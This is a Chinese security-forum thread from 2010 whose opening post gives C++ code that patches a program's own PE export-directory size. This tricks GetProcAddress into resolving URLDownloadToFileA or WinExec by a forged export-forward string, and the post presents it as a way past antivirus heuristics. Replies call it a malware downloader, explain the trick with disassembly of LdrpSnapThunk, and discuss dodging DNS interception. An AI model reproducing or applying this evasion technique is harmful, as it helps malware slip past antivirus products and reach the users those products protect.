首页
社区
课程
招聘
[原创]启发式查毒,全过。
发表于: 2010-6-19 12:53 28981

[原创]启发式查毒,全过。

2010-6-19 12:53
28981
extern "C" __declspec(dllexport) CHAR szFile[100] = {0};
ULONG __stdcall xGetProc( LPCSTR lpszDll, LPCSTR lpszFunc)
{
	static CRITICAL_SECTION cs = {0};
	HMODULE hSelf = NULL;
	PIMAGE_DOS_HEADER pDosHead = NULL;
	PIMAGE_NT_HEADERS pNtHead = NULL;
	PDWORD pExportSize = NULL;

	hSelf = GetModuleHandle( NULL);
	pDosHead = (PIMAGE_DOS_HEADER)hSelf;
	pNtHead = (PIMAGE_NT_HEADERS)((LPBYTE)pDosHead + pDosHead->e_lfanew);
	pExportSize = &pNtHead->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;

	if ( *pExportSize < 0x80000000)
	{
		InitializeCriticalSection( &cs);
		DWORD oldProtect = NULL;
		VirtualProtect( pExportSize, sizeof(DWORD), PAGE_EXECUTE_READWRITE, &oldProtect);
		*pExportSize = 0x80000000;
		VirtualProtect( pExportSize, sizeof(DWORD), oldProtect, &oldProtect);
	}

	EnterCriticalSection( &cs);
	strcpy_s( szFile, lpszDll);
	strcat_s( szFile, ".");
	strcat_s( szFile, lpszFunc);
	ULONG uRet = (ULONG)GetProcAddress( hSelf, "szFile");
	LeaveCriticalSection( &cs);

	return uRet;

}

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 7
支持
分享
最新回复 (35)
雪    币: 65
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
传说中的沙发!!

没有看明白
2010-6-19 15:50
0
雪    币: 80
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
不错啊 下载者
2010-6-19 17:55
0
雪    币: 11
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
((void )((__stdcall *)xGetProc( "urlmon", "URLDownloadToFileA"))(int,char*,char*,int,int))这个函数哪位可以解释下,没太看明白你是咋下载的
2010-6-19 18:43
0
雪    币: 722
活跃值: (123)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
5
这实际上是利用了Export Forward。
xGetProc函数通过修改自身内存映像的pNtHead->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size为0x80000000,来欺骗GetProcAddress函数。
实际上是欺骗GetProcAddress最终调用的LdrpSnapThunk函数,使其认为找到的该导出符号地址刚好在IMAGE_EXPORT_DIRECTORY结构中(大于IMAGE_EXPORT_DIRECTORY结构指针,又小于IMAGE_EXPORT_DIRECTORY结构指针加上这个Size,后者是用一个无符号数比较来判断的,这里Size被改成了0x80000000使得后者永远满足),而这正是Export Forward的识别方法,则该函数认为它是一个Export Forward,这时即认为该位置是一个说明真正函数名称的字符串(即程序自己写进去的urlmon.URLDownloadToFileA或kernel32.WinExec),从而读取该字符串并找到相应的地址,因此通过这个方法可以获取这两个函数的地址。

LdrpSnapThunk函数中相应的细节如下,注意最后那个jnb:

.text:7C937C97
.text:7C937C9D                 mov     eax, [esi+IMAGE_EXPORT_DIRECTORY.AddressOfFunctions]
.text:7C937CA0                 add     eax, [ebp+Base]
.text:7C937CA3                 mov     edi, [ebp+Base]
.text:7C937CA6                 lea     eax, [eax+ecx*4]
.text:7C937CA9                 mov     ecx, [eax]
.text:7C937CAB                 add     ecx, edi        ; 找到的函数偏移加基址得到函数地址
.text:7C937CAD                 cmp     ecx, esi        ; esi为IMAGE_EXPORT_DIRECTORY结构指针
.text:7C937CAF                 mov     edi, [ebp+arg_C]
.text:7C937CB2                 mov     [edi], ecx
.text:7C937CB4                 ja      loc_7C937F7C    ; 函数指针大于IMAGE_EXPORT_DIRECTORY结构指针则跳,这里一般都会满足

.text:7C937F7C loc_7C937F7C:                           ; CODE XREF: LdrpSnapThunk(x,x,x,x,x,x,x,x)+C3j
.text:7C937F7C                 mov     edi, [ebp+Size]
.text:7C937F7F                 add     esi, edi        ; 把IMAGE_EXPORT_DIRECTORY结构指针再加上前面取到的Size,再进行比较,这里由于程序的修改,这个Size是0x80000000
.text:7C937F81                 cmp     ecx, esi
.text:7C937F83                 jnb     loc_7C937CBA    ; 无符号数比较,不低于则跳转。
.text:7C937F83                                         ; 由于这里是无符号数比较,所以总有函数地址<0x80000000+IMAGE_EXPORT_DIRECTORY结构指针而没有跳走,就被认为是Export Forward了。
2010-6-20 00:50
0
雪    币: 170
活跃值: (90)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
6
不错
2010-6-20 02:45
0
雪    币: 276
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
卡吧拦截DNS解析,有HIPS的味道,所以,此贴思路虽好,但是疗效不佳。对付启发有疗效而已。
2010-6-20 07:17
0
雪    币: 296
活跃值: (89)
能力值: ( LV15,RANK:340 )
在线值:
发帖
回帖
粉丝
8
这个方法没见过,Mark一下
2010-6-20 10:37
0
雪    币: 1098
活跃值: (193)
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
9
[QUOTE=轩辕小聪;825852]这实际上是利用了Export Forward。
xGetProc函数通过修改自身内存映像的pNtHead->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size为0x80000000,来欺骗GetProcAddress函数。...[/QUOTE]

分析得相当深入透彻。
2010-6-20 12:41
0
雪    币: 1098
活跃值: (193)
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
10
这里面有三层意思:
1.调用xGetProc( "urlmon", "URLDownloadToFileA")获得指向URLDownloadToFileA函数的指针。
2.将该指针(因为xGetProc返回ULONG)转换类型,转换为指向URLDownloadToFileA函数的指针。
3.用这个指针调用URLDownloadToFileA函数。
2010-6-20 12:45
0
雪    币: 11
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
哦 多谢楼上的解答
2010-6-26 21:24
0
雪    币: 203
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
有创意,分析得也透彻.佩服两位的功力.
2010-6-27 03:51
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
Mark一下,这算不算挖坟
2010-7-21 16:33
0
雪    币: 22
活跃值: (458)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
没有编译通过 怎么用的
2010-8-13 23:27
0
雪    币: 221
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
额,学习着~~~~
2010-8-23 11:08
0
雪    币: 437
活跃值: (110)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
16
佩服了
2010-9-4 19:07
0
雪    币: 393
活跃值: (100)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
17
都写了是对付启发和查毒,你偏要来说主动防御。主动防御就一破烂货,还比不上病毒installer hash检查来得有效。
拦截dns解析,你直接写ip,不然的话写个local gfw,直接把它的dns给截了。

写病毒的大部人太弱智了,惯得写安全软件的也是脑袋生锈。。。
2010-9-5 16:51
0
雪    币: 6075
活跃值: (2236)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
18
这篇应该给个精华啊
2010-9-5 17:01
0
雪    币: 7201
活跃值: (3712)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
标记下,方便学习!
2010-9-5 21:53
0
雪    币: 1259
活跃值: (38)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
stu
20
学习学习了。
2010-9-7 10:12
0
雪    币: 65
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
LZ分析得相当的不错,可以做掉好多的杀软了
2010-9-7 17:38
0
雪    币: 326
活跃值: (41)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
22
占位 学习,留名。

轩辕解释的很到位。

习之,见贤思齐之。
2010-9-11 09:09
0
雪    币: 284
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
支持楼主,支持小聪,支持forgot
下载者才是王道乐土
2010-9-11 10:46
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
占位学习···
2010-9-14 14:38
0
雪    币: 263
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
楼主这种方法过启发还是有点麻烦
2010-9-14 14:59
0
游客
登录 | 注册 方可回帖
返回
//